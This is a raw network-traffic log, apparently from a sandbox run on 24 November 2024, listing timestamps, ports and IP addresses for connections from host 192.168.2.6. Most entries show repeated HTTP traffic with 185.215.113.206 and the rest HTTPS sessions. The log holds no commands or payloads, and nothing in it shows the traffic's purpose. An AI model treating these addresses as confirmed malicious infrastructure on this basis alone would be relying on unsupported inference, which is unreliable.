Nov 24, 2024 04:20:47.838741064 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:47.838861942 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:47.838876009 CET	443	49891	23.209.72.31	192.168.2.6
Nov 24, 2024 04:20:47.838960886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.839087009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.839211941 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.839835882 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.839920044 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.839950085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.840615034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.840724945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.840758085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.840859890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.841438055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.841578007 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.841881037 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.842073917 CET	443	49889	20.110.205.119	192.168.2.6
Nov 24, 2024 04:20:47.842278004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.842360020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.842514038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.842622995 CET	49889	443	192.168.2.6	20.110.205.119
Nov 24, 2024 04:20:47.842633009 CET	443	49889	20.110.205.119	192.168.2.6
Nov 24, 2024 04:20:47.843065023 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.843188047 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.843202114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.843296051 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.843914032 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.844007969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.844017982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.844126940 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.844363928 CET	443	49889	20.110.205.119	192.168.2.6
Nov 24, 2024 04:20:47.844492912 CET	49889	443	192.168.2.6	20.110.205.119
Nov 24, 2024 04:20:47.844713926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.844841003 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.845247030 CET	49889	443	192.168.2.6	20.110.205.119
Nov 24, 2024 04:20:47.845319033 CET	443	49889	20.110.205.119	192.168.2.6
Nov 24, 2024 04:20:47.845355988 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.845530987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.845634937 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.845794916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.846338987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.846458912 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.846575975 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.847177982 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.847273111 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.847310066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.847995996 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.848104000 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.848134995 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.848419905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.848808050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.848926067 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.848958015 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.849622965 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.849663973 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.849694967 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.849792004 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.850447893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.850547075 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.850864887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.851274014 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.851331949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.851401091 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.852041006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:47.852164984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:47.869349957 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.869374990 CET	443	49888	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.869426012 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.873536110 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.873976946 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.873986959 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.875035048 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.875335932 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.875576019 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.875576019 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.875587940 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.875650883 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.892513990 CET	49889	443	192.168.2.6	20.110.205.119
Nov 24, 2024 04:20:47.892514944 CET	49891	443	192.168.2.6	23.209.72.31
Nov 24, 2024 04:20:47.892528057 CET	443	49889	20.110.205.119	192.168.2.6
Nov 24, 2024 04:20:47.905200005 CET	443	49890	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.905572891 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.905606031 CET	443	49890	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.907021046 CET	443	49890	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.907231092 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.908437014 CET	443	49890	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.908910036 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.909523964 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.909612894 CET	443	49890	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.921338081 CET	49888	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.921339989 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.921346903 CET	443	49886	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:47.936952114 CET	49889	443	192.168.2.6	20.110.205.119
Nov 24, 2024 04:20:47.951870918 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:47.951880932 CET	443	49890	204.79.197.237	192.168.2.6
Nov 24, 2024 04:20:47.968019962 CET	49886	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:47.998598099 CET	49890	443	192.168.2.6	204.79.197.237
Nov 24, 2024 04:20:48.019752026 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.019845009 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.019855022 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.019946098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.019996881 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.020090103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.020163059 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.020256042 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.020787954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.020911932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.020941019 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.021097898 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.021604061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.021703959 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.021723986 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.021811962 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.022437096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.022536993 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.022559881 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.022630930 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.023747921 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.023873091 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.023905993 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.023936987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.024074078 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.024163008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.024198055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.024350882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.024899960 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.025043964 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.025048018 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.025190115 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.025722027 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.025830984 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.025861025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.025942087 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.026525021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.026616096 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.026648998 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.026693106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.027355909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.027462959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.027488947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.027566910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.028179884 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.028203964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.028503895 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.028976917 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.029088974 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.029284954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.029798031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.029915094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.029942989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.030603886 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.030715942 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.030719995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.030836105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.031443119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.031584024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.031850100 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.032332897 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.032421112 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.032573938 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.033090115 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.033272028 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.033364058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.033891916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.034004927 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.034073114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.034702063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.034816980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.034899950 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.035510063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.035635948 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.035696983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.035696983 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.036335945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.036447048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.036468029 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.036587954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.037148952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.037329912 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.037362099 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.037584066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.037976980 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.038094997 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.038249969 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.038814068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.038892984 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.038924932 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.039031029 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.039618969 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.039726019 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.039989948 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.040436983 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.040559053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.040591002 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.041259050 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.041363955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.041394949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.041502953 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.042068958 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.042181015 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.042208910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.042758942 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.042870998 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.042970896 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.043330908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.043673038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.043822050 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.097518921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.127929926 CET	443	49893	23.57.90.149	192.168.2.6
Nov 24, 2024 04:20:48.128159046 CET	49893	443	192.168.2.6	23.57.90.149
Nov 24, 2024 04:20:48.128177881 CET	443	49893	23.57.90.149	192.168.2.6
Nov 24, 2024 04:20:48.129232883 CET	443	49893	23.57.90.149	192.168.2.6
Nov 24, 2024 04:20:48.129287004 CET	49893	443	192.168.2.6	23.57.90.149
Nov 24, 2024 04:20:48.130748034 CET	49893	443	192.168.2.6	23.57.90.149
Nov 24, 2024 04:20:48.130851984 CET	443	49893	23.57.90.149	192.168.2.6
Nov 24, 2024 04:20:48.180180073 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:48.181127071 CET	49893	443	192.168.2.6	23.57.90.149
Nov 24, 2024 04:20:48.181143999 CET	443	49893	23.57.90.149	192.168.2.6
Nov 24, 2024 04:20:48.205391884 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:48.205436945 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:48.205459118 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:48.205496073 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:48.205509901 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:48.205528021 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:48.205537081 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:48.205559969 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:48.205713987 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:48.206494093 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:48.216964960 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.219774008 CET	443	49895	104.117.182.59	192.168.2.6
Nov 24, 2024 04:20:48.222219944 CET	49893	443	192.168.2.6	23.57.90.149
Nov 24, 2024 04:20:48.228624105 CET	49895	443	192.168.2.6	104.117.182.59
Nov 24, 2024 04:20:48.228657007 CET	443	49895	104.117.182.59	192.168.2.6
Nov 24, 2024 04:20:48.228907108 CET	49887	443	192.168.2.6	152.195.19.97
Nov 24, 2024 04:20:48.228945971 CET	443	49887	152.195.19.97	192.168.2.6
Nov 24, 2024 04:20:48.229886055 CET	443	49895	104.117.182.59	192.168.2.6
Nov 24, 2024 04:20:48.229955912 CET	49895	443	192.168.2.6	104.117.182.59
Nov 24, 2024 04:20:48.234447956 CET	49895	443	192.168.2.6	104.117.182.59
Nov 24, 2024 04:20:48.234548092 CET	443	49895	104.117.182.59	192.168.2.6
Nov 24, 2024 04:20:48.274425030 CET	49895	443	192.168.2.6	104.117.182.59
Nov 24, 2024 04:20:48.274463892 CET	443	49895	104.117.182.59	192.168.2.6
Nov 24, 2024 04:20:48.296092987 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.296160936 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.296196938 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.296220064 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.296252012 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.296261072 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.296283007 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.296298981 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.296313047 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.296319008 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.296350956 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.296376944 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.320364952 CET	49895	443	192.168.2.6	104.117.182.59
Nov 24, 2024 04:20:48.341285944 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:48.341378927 CET	443	49901	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:48.341465950 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:48.341784954 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:48.341815948 CET	443	49901	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:48.474466085 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.474502087 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.474607944 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.474679947 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.474723101 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.474746943 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.477024078 CET	443	49894	3.167.69.129	192.168.2.6
Nov 24, 2024 04:20:48.477225065 CET	49894	443	192.168.2.6	3.167.69.129
Nov 24, 2024 04:20:48.477241993 CET	443	49894	3.167.69.129	192.168.2.6
Nov 24, 2024 04:20:48.478792906 CET	443	49894	3.167.69.129	192.168.2.6
Nov 24, 2024 04:20:48.478858948 CET	49894	443	192.168.2.6	3.167.69.129
Nov 24, 2024 04:20:48.480042934 CET	49894	443	192.168.2.6	3.167.69.129
Nov 24, 2024 04:20:48.480132103 CET	443	49894	3.167.69.129	192.168.2.6
Nov 24, 2024 04:20:48.517497063 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.517548084 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.517582893 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.517600060 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:48.517627001 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.517642021 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:48.528563976 CET	49894	443	192.168.2.6	3.167.69.129
Nov 24, 2024 04:20:48.528582096 CET	443	49894	3.167.69.129	192.168.2.6
Nov 24, 2024 04:20:48.530592918 CET	49902	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:48.530632019 CET	443	49902	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:48.530715942 CET	49902	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:48.531111956 CET	49903	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:48.531141996 CET	443	49903	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:48.531215906 CET	49903	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:48.534301043 CET	49902	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:48.534320116 CET	443	49902	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:48.534813881 CET	49903	443	192.168.2.6	172.64.41.3
Nov 24, 2024 04:20:48.534826994 CET	443	49903	172.64.41.3	192.168.2.6
Nov 24, 2024 04:20:48.552731037 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.552795887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.552846909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.552890062 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.552958012 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.553014994 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.553045034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.553085089 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.553816080 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.553868055 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.553895950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.553936958 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.554615021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.554683924 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.554716110 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.554755926 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.555424929 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.555480003 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.555531025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.555615902 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.556265116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.556314945 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.556353092 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.556391954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.557094097 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.557141066 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.557164907 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.557200909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.557956934 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.558013916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.558053017 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.558092117 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.558712006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.558773041 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.558803082 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.558841944 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.559514046 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.559578896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.559709072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.559761047 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.560348988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.560394049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.560496092 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.560610056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.561152935 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.561204910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.561264038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.561307907 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:48.561959982 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:48.562015057 CET	49835	80	192.168.2.6	185.215.113.206
